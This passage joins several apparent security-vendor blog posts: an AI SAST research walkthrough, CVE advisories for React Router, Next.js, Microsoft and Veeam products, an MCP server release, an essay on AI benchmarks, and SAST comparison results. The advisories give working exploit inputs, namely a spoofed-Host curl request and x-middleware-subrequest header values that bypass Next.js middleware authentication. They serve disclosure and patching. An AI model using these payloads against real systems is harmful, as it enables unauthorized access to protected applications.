That said, no tool solves all problems. There are still challenges with complex business logic, third-party dependencies, and multi-repository architectures. Like any security technology, these tools work best as part of a broader strategy that includes different testing methodologies and human expertise.

The practical value isn't in buzzwords but in concrete capabilities: interactive finding analysis, contextual code understanding, and meaningful prioritization of legitimate issues. These improvements help security and development teams work more efficiently, even if they don't represent the revolutionary change that some marketing might suggest. If this is something you are interested in, we have a blog where we show you how to do Security Research with ZeroPath.

It's trivial, but security researchers, even bug bounty hunters, often begin their research by running SAST tools, just to check for low hanging fruit. If the target you're looking at isn't well tested, running CodeQL or some other static analysis tool just to get started can be a productive use of time.

The new breed of AI SAST tools are pretty definitively more powerful than their basic static-analysis driven predecessors, and expand the scope of bugs you can quickly grep for. If you weren't using them befeore, it makes sense to reevaluate. Unfortunately however, a lot of security researchers are unaware of what these tools can do by default, or don't understand how to configure them for the code they're looking at. Here's how the ZeroPath team uses ZeroPath to find bugs in open source repositories.

Select Your Targets

First, target selection: ZeroPath isn't going to find you any WordPress 0days (yet). It helps to pick a popular but new repository on the github trending list. When the team is spelunking we usually look for web applications between 500 and 10000 github stars that have been updated in the last few months.

For this example we will use SuperAGI, an “Open-source framework to build, manage and run useful Autonomous AI Agents”

Running Your First Scan

Before configuring any custom settings, it usually makes sense to run a basic scan so that you can see what kind of results ZeroPath will return for the repository by default. Among other import methods, ZeroPath lets you scan code at any live github URL, or upload a zip archive of the source manually. After the scan is complete, you can view the number of results and navigate to the issues page by clicking on our scan. Here were the results when we tried:

Clearly, our tool did not report 65 independently high value exploitable bugs for the SuperAGI repo; most of these are going to be false positives. To help with triage, for each potential finding, ZeroPath will give you a natural language description, an explanation of what associated request handler, a description of the application the bug was found on, and a CVSS ranking with subscores determined by the AI.

Additionally, you go to the explorer tab, you can also get a list of all code points in the application that receive external traffic. Even if you're not using the findings this can help with recon and giving you a sense of the app's surface area. In SuperAGI's case, this will show us all extant HTTP endpoints.

In our experience, looking at the first ten or so issues is sufficient to see if ZeroPath did well the first try.

Customizing ZeroPath's SAST

Sometimes ZeroPath will need some configuration; like if there are important details about the app that aren't available in the source. For example, let's say that for this application, I know that all the /intrnl/**/* endpoints are only exposed internally, and not to the wider internet.

With AI SAST tools, I can just explain this to the AI in my own words, by adding repo context. Then when I rescan, the AI will take into account that information when reporting security bugs.

By phrasing instructions as contextual information, you can progressively narrow the scan results until the findings are excluded to the kinds of issues you want. For example, you can:

• Tell the AI that certain inputs are sanitized by an external router.
• Tell the AI that broken auth issues are out of scope for its assessment.
• Tell the AI that a @foo decorator applies some filtering or authentication checks.

Additionally, you can also give the AI extra details to alert on. These are called "natural language rules" and when you specify them the AI will scan the code for the violations that you specify. For instance, you can ask it to look for any endpoint that's declared without a specific decorator attached:

Finding Real-World Security Vulnerabilities

During our review of the SuperAGI project, we found a legitimate Insecure Direct Object Reference (IDOR) vulnerability in the /get/{resource_id} route very quickly. The download_file_by_id function which this route serves would respond with files based on a user supplied resource_id, without performing any authorization checks on that resource_id for the user.

The actual finding from the scan is shown above, and you may notice the status is "patched". This is because we generated a security fix and submitted the PR to the SuperAGI maintainers, which got merged.

Detecting Business Logic Vulnerabilities

Particularly because up until now there has been no easy way to scan for these types of vulnerabilities, we've had a high success rate in finding business logic vulnerabilities across many apps. These issues traditionally require lots of manual labor to find, because there's no simple way to grep for them. In applications where there are hundreds or thousands of endpoints, having a human review each one for authorization and similar flaws is time consuming. Hopefully as AI SAST gets better this will be less and less the case.

Conclusion

Overall, AI SAST is not perfect, but we think it's currently a force multiplier for security research and will only keep improving overtime. It's helped us in both pentests and in security research to find issues that might have been overlooked or required a lot of manual effort to find. If you're a security researcher who utilizes SAST tools, we'd be happy if you gave ours a try and let us know how it does, especially repos it currently struggles on.

Happy hunting!

React Router, a critical component powering numerous React applications, recently faced a significant security challenge. CVE-2025-31137, a high-severity URL spoofing vulnerability, exposes Remix 2.x and React Router 7.x applications using the Express adapter to potential security breaches. By exploiting HTTP headers, attackers can manipulate URL paths, bypass security checks, and even poison caches—posing a serious threat to application integrity.

Affected Systems and Versions

• React Router: Versions prior to 7.4.1
• Remix: Versions prior to 2.16.3
• Configuration: Applications using the Express adapter

Technical Information

The vulnerability arises due to inadequate port sanitization within Express middleware, specifically affecting the handling of Host and X-Forwarded-Host headers. Attackers exploit this by injecting URL paths into the port section of these headers, effectively spoofing the URL path and bypassing React Router's validation mechanisms.

Attack Vectors

• Cache Poisoning: Manipulate CDN or proxy caches by spoofing URLs.
• Security Bypass: Evade route-based security controls.
• Phishing Attacks: Serve malicious content under legitimate domains.

Proof of Concept

A simple curl command demonstrates the vulnerability:

curl -H "Host: legit-site.com:/api/admin" http://victim.com

This request tricks the server into interpreting the URL path incorrectly, potentially bypassing security checks.

Patch Information

Immediate patching is crucial:

npm update react-router@^7.4.1 @remix-run/serve@^2.16.3

Temporary mitigation via header sanitization:

location / {
  proxy_set_header Host $host;
  proxy_set_header X-Forwarded-Host $host;
}

Detection Methods

Monitor HTTP headers for suspicious path-like structures, particularly in the Host and X-Forwarded-Host fields. Alert on abnormal request patterns, especially targeting sensitive endpoints such as /api/*.

Vendor Security History

React Router, maintained by Remix Run, has demonstrated a strong security posture, addressing four CVEs in the past two years within an average of 72 hours. Regular security updates underline their proactive stance.

References

• GitHub Advisory GHSA-4q56-crqp-v477
• React Router Changelog
• GitHub Discussion on Middleware

Stay vigilant and ensure your React Router and Remix installations are updated promptly to mitigate this critical vulnerability.

This release brings static analysis, secret scanning, and infrastructure-as-code (IaC) security directly into your conversational or IDE-native AI workflows. Want to ask Claude which vulnerabilities are open in your backend repo? Or query dependency issues from inside Cursor without leaving your editor? Now you can.

What We Built

We created an open-source MCP server that connects to the ZeroPath API and exposes tools for interacting with your organization's security posture:

• List organizations connected to your ZeroPath account
• Query vulnerability issues from SAST scans
• Pull down patches and proposed fixes
• Search for exposed secrets or insecure configurations

This server is compatible with any standard MCP client—including Claude, Cursor, and WindSurf.

GitHub repo: https://github.com/ZeroPathAI/zeropath-mcp-server

Why This Matters

AppSec teams have been automating their CI/CD pipelines for years. But with the rise of AI-native tools like Claude and Cursor, we're seeing an opportunity to bring security insights into the places developers now spend time thinking and building.

Instead of switching tabs or pasting scan results into Jira manually, you can now:

• Ask your AI assistant to summarize security issues
• Pull in patch diffs for a PR
• Get context about infrastructure misconfigurations, secrets, and logic flaws

Security tooling should feel like part of your natural development flow. With MCP, it does.

What is MCP?

Model Context Protocol (MCP) is an open specification for connecting AI tools to external resources and services. It enables local tools (called MCP servers) to expose resources and actions to AI clients over stdin/stdout or other transports.

In practical terms, MCP makes it possible to say:

"Hey Claude, ask ZeroPath to find all XSS vulnerabilities in app/main.py."

...and have it work.

MCP is rapidly becoming the standard way for developer tools, LLMs, and agents to communicate securely and predictably. It enables local tools (called MCP servers) to expose resources and actions to AI clients over stdin/stdout or other transports.

Why MCP?

MCP embraces the same spirit of open standards that underpins much of modern infrastructure. It avoids vendor lock-in and allows developers to bring their favorite tools (like ZeroPath) into their own workflows—be it in an IDE, chat window, or agent loop.

For AppSec and platform engineers, it opens up the opportunity to query security data contextually and on-demand, without leaving your coding environment.

What Can You Do With the ZeroPath MCP Server?

• Query SAST issues by repo, path, or type using search_vulnerabilities, one of the included tools. You can also retrieve issue details with get_issue or approve patches (read-only) via approve_patch.
• View dependency scan results and exploitability reports
• Search for IaC misconfigurations
• Check for hardcoded secrets across repos
• Get suggested patches and remediations (read-only)

All through natural language, within your IDE or AI assistant.

Why Read-Only

For now, the server is read-only by design. While MCP does allow write actions (like patching code or triggering scans), we've focused this initial implementation on safe exploration and data retrieval.

This minimizes risk while making the server useful out-of-the-box. You can still explore your scan data, pull in insights, and generate patch recommendations without risk of altering your codebase accidentally.

As the ecosystem matures, we plan to support safe, permissioned write actions.

Getting Started

To get started, you'll need to:

1. Generate an API key from your ZeroPath organization settings at https://zeropath.com/app/settings/api
2. Configure your environment variables with the API key:

export ZEROPATH_TOKEN_ID=your_token_id
export ZEROPATH_TOKEN_SECRET=your_token_secret

3. Retrieve your organization ID (you can find this by running the following command):

curl -X POST https://zeropath.com/api/v1/orgs/list \
    -H "X-ZeroPath-API-Token-Id: $ZEROPATH_TOKEN_ID" \
    -H "X-ZeroPath-API-Token-Secret: $ZEROPATH_TOKEN_SECRET" \
    -H "Content-Type: application/json" \
    -d '{}'

Once you have these credentials, clone the repository and set up the environment:

1. Clone the repository
2. Install dependencies using uv

Next, clone the repo and sync dependencies using uv and creating the environment variables with the API information and org id:

git clone https://github.com/ZeroPathAI/zeropath-mcp-server.git
cd zeropath-mcp-server
uv sync
export ZEROPATH_ORG_ID=your_org_id

Once running, you can connect the server to Claude Desktop, Cursor, or WindSurf via the MCP configuration (we include setup instructions in the repo). (we include setup instructions in the repo).

Add this entry to your MCP config (Claude Desktop, Windsurf, Cursor, etc.):

{
  "mcpServers": {
    "zeropath-mcp-server": {
      "command": "uv",
      "args": [
        "run",
        "--project",
        "<absolute cloned directory path>/zeropath-mcp-server",
        "<absolute cloned directory path>/zeropath-mcp-server/main.py"
      ]
    }
  }
}

Replace <absolute cloned directory path> with the absolute path to the repo.

Example Prompts to Try

• "List all organizations connected to my ZeroPath account"
• "What are the open SAST issues in our payments-service repo?"
• "Show me any secrets found in our IaC files Get the details for issue abc123 Approve the patch for issue xyz789"
• "Fetch proposed patches for the latest XSS issue in web/"

These work across any tool that supports MCP — whether you're chatting with Claude or using an IDE like Cursor.

Why Conversational Interfaces for AppSec?

Security shouldn't live off in a separate dashboard. With MCP, you can:

• Ask specific security questions in natural language
• Explore your codebase's risks and remediations on-demand
• Reduce triage and manual lookup overhead

This isn't just about convenience—it's about embedding security in the development experience.

Get Involved

The ZeroPath MCP Server is fully open-source and available on GitHub: https://github.com/ZeroPathAI/zeropath-mcp-server

We're actively looking for contributors and feedback as we extend capabilities. Drop into our Discord or open an issue on GitHub if you want to help shape what modern product security looks like in AI-native dev environments.

Within the first three months of our company's existence, Claude 3.5 sonnet was released. Just by switching the portions of our service that ran on gpt-4o, our nascent internal benchmark results immediately started to get saturated. I remember being surprised at the time that our tooling not only seemed to make fewer basic mistakes, but also seemed to qualitatively improve in its written vulnerability descriptions and severity estimates. It was as if the models were better at inferring the intent and values behind our prompts, even from incomplete information.

As it happens, there are ~basically no public benchmarks for security research. There are "cybersecurity" evals that ask models questions about isolated blocks of code, or "CTF" evals that give a model an explicit challenge description and shell access to a <1kLOC web application. But nothing that gets at the hard parts of application pentesting for LLMs, which are 1. Navigating a real repository of code too large to put in context, 2. Inferring a target application's security model, and 3. Understanding its implementation deeply enough to learn where that security model is broken. For these reasons I think the task of vulnerability identification serves as a good litmus test for how well LLMs are generalizing outside of the narrow software engineering domain.

Since 3.5-sonnet, we have been monitoring AI model announcements, and trying pretty much every major new release that claims some sort of improvement. Unexpectedly by me, aside from a minor bump with 3.6 and an even smaller bump with 3.7, literally none of the new models we've tried have made a significant difference on either our internal benchmarks or in our developers' ability to find new bugs. This includes the new test-time OpenAI models.

At first, I was nervous to report this publicly because I thought it might reflect badly on us as a team. Our scanner has improved a lot since August, but because of regular engineering, not model improvements. It could've been a problem with the architecture that we had designed, that we weren't getting more milage as the SWE-Bench scores went up.

But in recent months I've spoken to other YC founders doing AI application startups and most of them have had the same anecdotal experiences: 1. o99-pro-ultra announced, 2. Benchmarks look good, 3. Evaluated performance mediocre. This is despite the fact that we work in different industries, on different problem sets. Sometimes the founder will apply a cope to the narrative ("We just don't have any PhD level questions to ask"), but the narrative is there.

I have read the studies. I have seen the numbers. Maybe LLMs are becoming more fun to talk to, maybe they're performing better on controlled exams. But I would nevertheless like to submit, based off of internal benchmarks, and my own and colleagues' perceptions using these models, that whatever gains these companies are reporting to the public, they are not reflective of economic usefulness or generality. They are not reflective of my Lived Experience or the Lived Experience of my customers. In terms of being able to perform entirely new tasks, or larger proportions of users' intellectual labor, I don't think they have improved much since August.

Depending on your perspective, this is good news! Both for me personally, as someone trying to make money leveraging LLM capabilities while they're too stupid to solve the whole problem, and for people worried that a quick transition to an AI-controlled economy would present moral hazards.

At the same time, there's an argument that the disconnect in model scores and the reported experiences of highly attuned consumers is a bad sign. If the industry can't figure out how to measure even the intellectual ability of models now, while they are mostly confined to chatrooms, how the hell is it going to develop metrics for assessing the impact of AIs when they're doing things like managing companies or developing public policy? If we're running into the traps of Goodharting before we've even delegated the messy hard parts of public life to the machines, I would like to know why.

Are the AI labs just cheating?

AI lab founders believe they are in a civilizational competition for control of the entire future lightcone, and will be made Dictator of the Universe if they succeed. Accusing these founders of engaging in fraud to further these purposes is quite reasonable. Even if you are starting with an unusually high opinion of tech moguls, you should not expect them to be honest sources on the performance of their own models in this race. There are very powerful short term incentives to exaggerate capabilities or selectively disclose favorable capabilities results, if you can get away with it. Investment is one, but attracting talent and winning the (psychologically impactful) prestige contests is probably just as big a motivator. And there is essentially no legal accountability compelling labs to be transparent or truthful about benchmark results, because nobody has ever been sued or convicted of fraud for training on a test dataset and then reporting that performance to the public. If you tried, any such lab could still claim to be telling the truth in a very narrow sense because the model "really does achieve that performance on that benchmark". And if first-order tuning on important metrics could be considered fraud in a technical sense, then there are a million other ways for the team responsible for juking the stats to be slightly more indirect about it.

In the first draft of this essay, I followed the above paragraph up with a statement like "That being said, it's impossible for all of the gains to be from cheating, because some benchmarks have holdout datasets." There are some recent private benchmarks such as SEAL that seem to be showing improvements[^1]. But every single benchmark that OpenAI and Anthropic have accompanied their releases with has had a test dataset publicly available. The only exception I could come up with was the ARC-AGI prize, whose highest score on the "semi-private" eval was achieved by o3, but which nevertheless has not done a publicized evaluation of either Claude 3.7 Sonnet, or DeepSeek, or o3-mini. And on o3 proper:

So maybe there's no mystery: The AI lab companies are lying, and when they improve benchmark results it's because they have seen the answers before and are writing them down. In a sense this would be the most fortunate answer, because it would imply that we're not actually that bad at measuring AGI performance; we're just facing human-initiated fraud. Fraud is a problem with people and not an indication of underlying technical difficulties.

I'm guessing this is true in part but not in whole.

Are the benchmarks not tracking usefulness?

Suppose the only thing you know about a human being is that they scored 160 on Raven's progressive matrices (an IQ test)[^2]. There are some inferences you can make about that person: for example, higher scores on RPM are correlated with generally positive life outcomes like higher career earnings, better health, and not going to prison.

You can make these inferences partly because in the test population, scores on the Raven's progressive matrices test are informative about humans' intellectual abilities on related tasks. Ability to complete a standard IQ test and get a good score gives you information about not just the person's "test-taking" ability, but about how well the person performs in their job, whether or not the person makes good health decisions, whether their mental health is strong, and so on.

Critically, these correlations did not have to be robust in order for the Raven's test to become a useful diagnostic tool. Patients don't train for IQ tests, and further, the human brain was not deliberately designed to achieve a high score on tests like RPM. Our high performance on tests like these (relative to other species) was something that happened incidentally over the last 50,000 years, as evolution was indirectly tuning us to track animals, irrigate crops, and win wars.

This is one of those observations that feels too obvious to make, but: with a few notable exceptions, almost all of our benchmarks have the look and feel of standardized tests. By that I mean each one is a series of academic puzzles or software engineering challenges, each challenge of which you can digest and then solve in less than a few hundred tokens. Maybe that's just because these tests are quicker to evaluate, but it's as if people have taken for granted that an AI model that can get an IMO gold medal is gonna have the same capabilities as Terence Tao. "Humanity's Last Exam" is thus not a test of a model's ability to finish Upwork tasks, or complete video games, or organize military campaigns, it's a free response quiz.

I can't do any of the Humanity's Last Exam test questions, but I'd be willing to bet today that the first model that saturates HLE will still be unemployable as a software engineer. HLE and benchmarks like it are cool, but they fail to test the major deficits of language models, like how they can only remember things by writing them down onto a scratchpad like the memento guy. Claude Plays Pokemon is an overused example, because video games involve a synthesis of a lot of human-specific capabilities, but the task fits as one where you need to occasionally recall things you learned thirty minutes ago. The results are unsurprisingly bad.

Personally, when I want to get a sense of capability improvements in the future, I'm going to be looking almost exclusively at benchmarks like Claude Plays Pokemon. I'll still check out the SEAL leaderboard to see what it's saying, but the deciding factor for my AI timelines will be my personal experiences in Cursor, and how well LLMs are handling long running tasks similar to what you would be asking an employee. Everything else is too much noise.

Are the models smart, but bottlenecked on alignment?

Let me give you a bit of background on our business before I make this next point.

As I mentioned, my company uses these models to scan software codebases for security problems. Humans who work on this particular problem domain (maintaining the security of shipped software) are called AppSec engineers.

As it happens, most AppSec engineers at large corporations have a lot of code to secure. They are desperately overworked. The question the typical engineer has to answer is not "how do I make sure this app doesn't have vulnerabilities" but "how do I manage, sift through, and resolve the overwhelming amount of security issues already live in our 8000 product lines". If they receive an alert, they want it to be affecting an active, ideally-internet-reachable production service. Anything less than that means either too many results to review, or the security team wasting limited political capital to ask developers to fix problems that might not even have impact.

So naturally, we try to build our app so that it only reports problems affecting an active, ideally-internet-reachable production service. However, if you merely explain these constraints to the chat models, they'll follow your instructions sporadically. For example, if you tell them to inspect a piece of code for security issues, they're inclined to respond as if you were a developer who had just asked about that code in the ChatGPT UI, and so will speculate about code smells or near misses. Even if you provide a full, written description of the circumstances I just outlined, pretty much every public model will ignore your circumstances and report unexploitable concatenations into SQL queries as "dangerous".

It's not that the AI model thinks that it's following your instructions and isn't. The LLM will actually say, in the naive application, that what it's reporting is a "potential" problem and that it might not be validated. I think what's going on is that large language models are trained to "sound smart" in a live conversation with users, and so they prefer to highlight possible problems instead of confirming that the code looks fine, just like human beings do when they want to sound smart.

Every LLM wrapper startup runs into constraints like this. When you're a person interacting with a chat model directly, sycophancy and sophistry are a minor nuisance, or maybe even adaptive. When you're a team trying to compose these models into larger systems (something necessary because of the aforementioned memory issue), wanting-to-look-good cascades into breaking problems. Smarter models might solve this, but they also might make the problem harder to detect, especially as the systems they replace become more complicated and harder to verify the outputs of.

There will be many different ways to overcome these flaws. It's entirely possible that we fail to solve the core problem before someone comes up with a way to fix the outer manifestations of the issue.

I think doing so would be a mistake. These machines will soon become the beating hearts of the society in which we live. The social and political structures they create as they compose and interact with each other will define everything we see around us. It's important that they be as virtuous as we can make them.

1. Though even this is not as strong as it seems on first glance. If you click through, you can see that most of the models listed in the Top 10 for everything except the tool use benchmarks were evaluated after the benchmark was released. And both of the Agentic Tool Use benchmarks (which do not suffer this problem) show curiously small improvements in the last 8 months.
2. Not that they told you they scored that, in which case it might be the most impressive thing about them, but that they did.

Summary

A critical vulnerability (CVE-2025-29927) in Next.js has been discovered that enables attackers to bypass middleware security controls through manipulation of the x-middleware-subrequest header. This vulnerability affects authentication, authorization, path rewriting, and security header implementations across multiple Next.js versions, from 11.1.4 through unpatched releases of v14.x and v15.x. It has received a CVSS score of 9.1, classifying it as a critical security risk.

Technical Background

Next.js middleware functions as an interceptor that executes before a request reaches its destination. It's commonly used to implement authentication checks, authorization controls, rewrite paths, redirect requests, and apply security headers. The middleware execution is managed by the runMiddleware function within Next.js.

The vulnerability exists in the internal mechanism designed to prevent infinite middleware recursion loops. As discovered by security researcher Rachid Allam (known as "zhero"), the execution of middleware can be controlled through manipulation of the x-middleware-subrequest header.

In older versions (pre-12.2), the middleware would check if this header's value contained the path to the middleware file. If it did, the middleware execution would be skipped entirely.

In more recent versions, the middleware implements a "MAX_RECURSION_DEPTH" check (set to 5) to prevent infinite loops. If the middleware path appears 5 or more times in the header value (separated by colons), the middleware execution is skipped. This mechanism, intended for internal use, can be exploited by external requests.

The critical security flaw is that this internal protection mechanism accepts and processes the header from any incoming request, including those from external sources, without validation. This allows attackers to craft requests that deliberately bypass middleware security controls.

Exploit Details

The exploit works by including a specially crafted x-middleware-subrequest header in HTTP requests:

For older versions (pre-12.2):

x-middleware-subrequest: pages/_middleware

For modern versions:

x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware

If using the src directory structure:

x-middleware-subrequest: src/middleware:src/middleware:src/middleware:src/middleware:src/middleware

Attack Vectors

This vulnerability enables several attack scenarios:

1. Authentication Bypass: Attackers can access protected routes without requiring valid credentials or session tokens.

2. Content Security Policy (CSP) Bypass: If CSP headers are applied via middleware, this exploit can circumvent these protections, potentially enabling cross-site scripting (XSS) attacks.

3. Geographic Restrictions Bypass: Applications that use middleware to implement region-based content restrictions can have these controls bypassed.

4. Security Header Removal: Protective headers like HSTS, X-Frame-Options, or X-Content-Type-Options applied by middleware can be negated.

5. Cache Poisoning: Under certain configurations, bypassing a rewrite may lead to caching a 404 or 500 error (CPDoS attack).

Affected Versions

• Next.js 11.1.4 to 12.3.4
• Next.js 13.0.0 to 13.5.8
• Next.js 14.0.0 to 14.2.24
• Next.js 15.0.0 to 15.2.2

According to the official GitHub Security Advisory, the following patched versions are available:

• Next.js 12.3.5
• Next.js 13.5.9
• Next.js 14.2.25
• Next.js 15.2.3

Users of all affected versions should update to the corresponding patched version or implement the recommended workaround if immediate updating is not possible.

Detecting Vulnerable Applications

To identify vulnerable applications, look for:

1. The presence of x-powered-by: Next.js in response headers (although this can be disabled)
2. Headers like x-middleware-rewrite or x-nextjs-cache
3. References to /_next/static/ in response bodies
4. Variations in response with and without the exploit header

Mitigation Strategies

Primary Recommendation: Update Immediately

• For Next.js 15.x: Update to ≥ 15.2.3
• For Next.js 14.x: Update to ≥ 14.2.25
• For Next.js 13.x: Update to ≥ 13.5.9
• For Next.js 12.x: Update to ≥ 12.3.5

Secondary Options:

If immediate updating is not possible, implement one of these mitigations:

1. Block the Header at Web Server/Proxy Level:

   For Nginx:

   location / {
     proxy_set_header x-middleware-subrequest "";
   }
   

   For Apache:

   RequestHeader unset x-middleware-subrequest
   

2. Apply WAF Rules: If using Cloudflare or similar services, configure WAF rules to block requests containing the x-middleware-subrequest header.

3. Implement Defense-in-Depth: Add secondary authentication checks within route handlers or API endpoints as a backup to middleware controls.

References

• Official Next.js Advisory on CVE-2025-29927
• GitHub Security Advisory GHSA-f82v-jwr5-mffw
• National Vulnerability Database Entry
• Original Research by Rachid Allam
• Vulnerable Code in Next.js v12.0.7
• Technical Analysis by Simon Willison
• Technical Analysis by Stack Auth

Introduction

A critical vulnerability (CVE-2025-29814) in Microsoft Partner Center poses significant risks by enabling attackers to escalate privileges remotely. With a CVSS score of 9.3, this flaw demands immediate attention from security teams to prevent potential breaches and unauthorized access to sensitive data.

Technical Deep Dive

CVE-2025-29814 is categorized under CWE-20 (Improper Input Validation). The vulnerability arises from improper authorization mechanisms within Microsoft Partner Center, allowing attackers with initial authorized access to escalate privileges over the network. While specific exploit mechanisms have not been publicly detailed, analogous vulnerabilities indicate potential exploitation through manipulation of authentication workflows, unauthorized API calls, or token hijacking.

Attackers exploiting this flaw may gain elevated privileges, enabling further lateral movement and persistent access within compromised environments. Given the critical nature of this vulnerability, organizations using Microsoft Partner Center must prioritize immediate mitigation.

Patch Information

Microsoft has acknowledged CVE-2025-29814 and provided security updates addressing the flaw. Organizations should promptly apply these updates through Microsoft's official channels:

• Microsoft Security Update Guide - CVE-2025-29814

In addition to patching, organizations should enforce strict access controls, regularly audit permissions, and monitor for unusual activity.

Detection Methods

While specific detection methods have not been detailed publicly, organizations can proactively monitor for indicators of compromise such as:

• Unusual privilege escalation attempts recorded in audit logs.
• Unauthorized API calls or abnormal token usage patterns.
• Suspicious network activity involving Partner Center endpoints.

Implementing comprehensive logging and monitoring solutions can significantly enhance detection capabilities for potential exploitation attempts.

Vendor Security History

Microsoft has previously faced similar vulnerabilities within Partner Center, notably CVE-2024-49035, which involved improper access control and was actively exploited. This historical context underscores the importance of timely patching and proactive security measures for Microsoft products.

References

• Microsoft Security Update Guide - CVE-2025-29814

Security teams are advised to stay updated with official Microsoft advisories and implement recommended mitigations promptly to safeguard their environments against this critical vulnerability.

Introduction

Microsoft Dataverse, a cornerstone of the Power Platform ecosystem, faces a critical security threat from CVE-2025-29807—a deserialization vulnerability capable of enabling remote code execution. This flaw underscores the persistent risks associated with legacy serialization methods, potentially allowing attackers to compromise sensitive enterprise data and execute arbitrary commands remotely.

Technical Deep Dive

CVE-2025-29807 stems from insecure deserialization (CWE-502) of untrusted data within Dataverse's data handling processes. Specifically, attackers with authorized access can exploit this vulnerability by injecting maliciously crafted serialized objects. These objects, when deserialized without proper validation, trigger arbitrary code execution (CWE-94).

Exploitation Method

Attackers exploit this vulnerability by:

1. Crafting malicious serialized payloads designed to bypass Dataverse's input validation.
2. Injecting these payloads into Dataverse API endpoints that accept serialized data.
3. Triggering deserialization processes, leading to execution of attacker-controlled code.

The root cause lies in Dataverse's reliance on insecure serialization libraries, potentially including deprecated methods such as BinaryFormatter, known for their susceptibility to exploitation.

Patch Information

Microsoft has released security updates addressing this vulnerability. Organizations should immediately consult Microsoft's advisory here for specific patch details and apply updates promptly.

Detection Methods

To detect potential exploitation attempts:

• Monitor Dataverse application logs for unusual deserialization activity.
• Implement network monitoring to detect anomalous serialized object transmissions.
• Utilize endpoint detection and response (EDR) solutions to identify suspicious process executions related to Dataverse.

References

• Microsoft Security Advisory CVE-2025-29807

Given the critical nature of deserialization vulnerabilities, proactive patching and vigilant monitoring are essential to safeguarding enterprise environments from potential exploitation.

Introduction

Enterprise backup solutions are the last line of defense against ransomware attacks. CVE-2025-23120, a critical remote code execution vulnerability in Veeam Backup & Replication, threatens this critical infrastructure. With a CVSS score of 9.9, this flaw allows authenticated domain users to execute arbitrary code, potentially enabling devastating ransomware attacks.

Affected Systems and Versions

• Product: Veeam Backup & Replication
• Affected Versions: All builds of version 12.x up to and including 12.3.0.310
• Configurations: Domain-joined backup servers

Technical Deep Dive

The vulnerability stems from insecure deserialization within Veeam's .NET Remoting interface. Specifically, the classes Veeam.Backup.EsxManager.xmlFrameworkDs and Veeam.Backup.Core.BackupSummary were not properly blocklisted, allowing attackers to exploit gadget chains for remote code execution.

Root Cause

The issue arises from the deserialization mechanism, where the class CDbCryptoKeyInfo permits inner deserialization based on a blocklist approach. The absence of critical entries in this blocklist allows attackers to craft malicious payloads exploiting the vulnerable classes.

Attack Vector

• Authentication Required: Yes (domain user credentials)
• Network Port: TCP/9401 (.NET Remoting Channel)
• Configuration Dependency: Domain-joined backup servers

Proof of Concept

A detailed proof-of-concept exploit has been documented by watchTowr Labs. It demonstrates exploitation via crafted payloads targeting the vulnerable deserialization mechanism. However, the exact exploit code is not publicly available at this time.

Patch Information

• Patched Version: Veeam Backup & Replication 12.3.1.1139
• Patch Steps:
  1. Download the latest patch from Veeam KB4724.
  2. Apply the patch following Veeam's official upgrade instructions.
  3. Verify successful patching by checking the build number (12.3.1.1139).

Alternative Mitigations

• Remove backup servers from Active Directory domains.
• Restrict network access to TCP port 9401.

Detection Methods

• Network Monitoring: Monitor traffic on TCP port 9401 for unusual activity.
• Process Monitoring: Look for unexpected execution of cmd.exe or powershell.exe on backup servers.
• Log Analysis: Audit logs for unauthorized access attempts or anomalous deserialization errors.

Vendor Security History

Veeam has previously faced critical vulnerabilities, including CVE-2023-27532, actively exploited by ransomware groups. Rapid7 reports over 20% of their 2024 incident responses involved Veeam compromises, underscoring the importance of rapid patch deployment and adherence to security best practices.

References

• Veeam Security Bulletin KB4724
• watchTowr Labs Technical Analysis
• HelpNet Security Advisory
• Security Online Advisory
• Rapid7 Threat Advisory

Security teams must act swiftly to secure their backup infrastructure against this critical vulnerability.

ZeroPath is a SAST tool designed to address fundamental limitations in conventional static analysis approaches. To validate its effectiveness and compare it with existing solutions, we required a more comprehensive benchmarking framework than currently available. Existing evaluation methodologies lack the precision needed to accurately measure true and false positive rates across vulnerability classes, particularly for complex issues like business logic flaws and authentication vulnerabilities.

To address these challenges, we have forked the XBOW benchmark, enhancing it to overcome many of the shortfalls associated with traditional benchmarking approaches. Our adapted version now serves as a reliable SAST benchmark, providing accurate measurements of both true positive and false positive rates for conventional classes of issues along side business logic and broken authentication vulnerabilities. All changes can be found on our GitHub XBOW fork, alongside the scripts required to reproduce our findings.

Note: For more detailed information on how and why we forked the XBOW benchmark, along with a discussion of its limitations, please refer to our blog post.

Results: Breaking Down Detection Capabilities

We evaluated three leading SAST tools alongside ZeroPath: Bearer (by Cycode), Semgrep, and Snyk. Our results demonstrate the limitations of current scanning approaches across traditional and complex vulnerability types.

Technical Vulnerabilities

Based on 31 benchmarks with conventional technical vulnerabilities such as XSS, SQLI, and SSTI (alongside many more classes of issues)

Business Logic & Authentication Vulnerabilities

Based on 8 business logic benchmarks, including broken authentication, missing authorization, and complex data validation issues

Key Findings

Our analysis of leading SAST tools revealed significant gaps in detection capabilities across the industry. While traditional tools excelled in specific scenarios, they consistently struggled with complex vulnerabilities and produced high false positive rates. ZeroPath demonstrated notable improvements in reducing false positives while maintaining strong detection rates, particularly in complex scenarios.

Business logic and authentication vulnerability detection remains a fundamental challenge for most SAST solutions. Through advanced analysis techniques, ZeroPath showed more robust capabilities in identifying these complex vulnerability patterns, though there remains room for improvement across all tools in this category.

Comparative analysis highlighted how newer approaches to static analysis can overcome traditional limitations. While no tool achieved perfect results, ZeroPath's enhanced detection mechanisms for business logic vulnerabilities and authentication flows represent meaningful progress in addressing long-standing SAST challenges.

Tool Comparison and Features

The feature comparison reflects recent innovations in SAST technology. While established tools provide solid foundational security scanning, ZeroPath's integration of advanced capabilities like natural language patch modification and business logic analysis demonstrates the potential for more sophisticated vulnerability detection.

Language support varies significantly across SAST solutions. While our benchmark focused specifically on Python codebases, where ZeroPath showed strong detection capabilities, further testing across other languages would be needed for a comprehensive comparison. Most tools claim broad language support, but real-world effectiveness can vary substantially between languages.

Feature Comparison

Language Support

Reproducing Our Results

We believe in transparency and reproducibility. All our testing tools and scripts are available on GitHub:

• CLI setup: ZeroPath CLI
• Validation benchmarks: ZeroPath Benchmarks

Follow our setup guide in the repository to run the benchmarks yourself and validate our findings.

The best way to prove that a scanner works well is by finding active vulnerabilities in popular software. After all, if your "AI" isn't effective or reliable enough to find problems in current applications, why should the security community care? That said, benchmarks are still useful, because with numbers, you can quantify differences between vendors and track their improvement or regression over time.

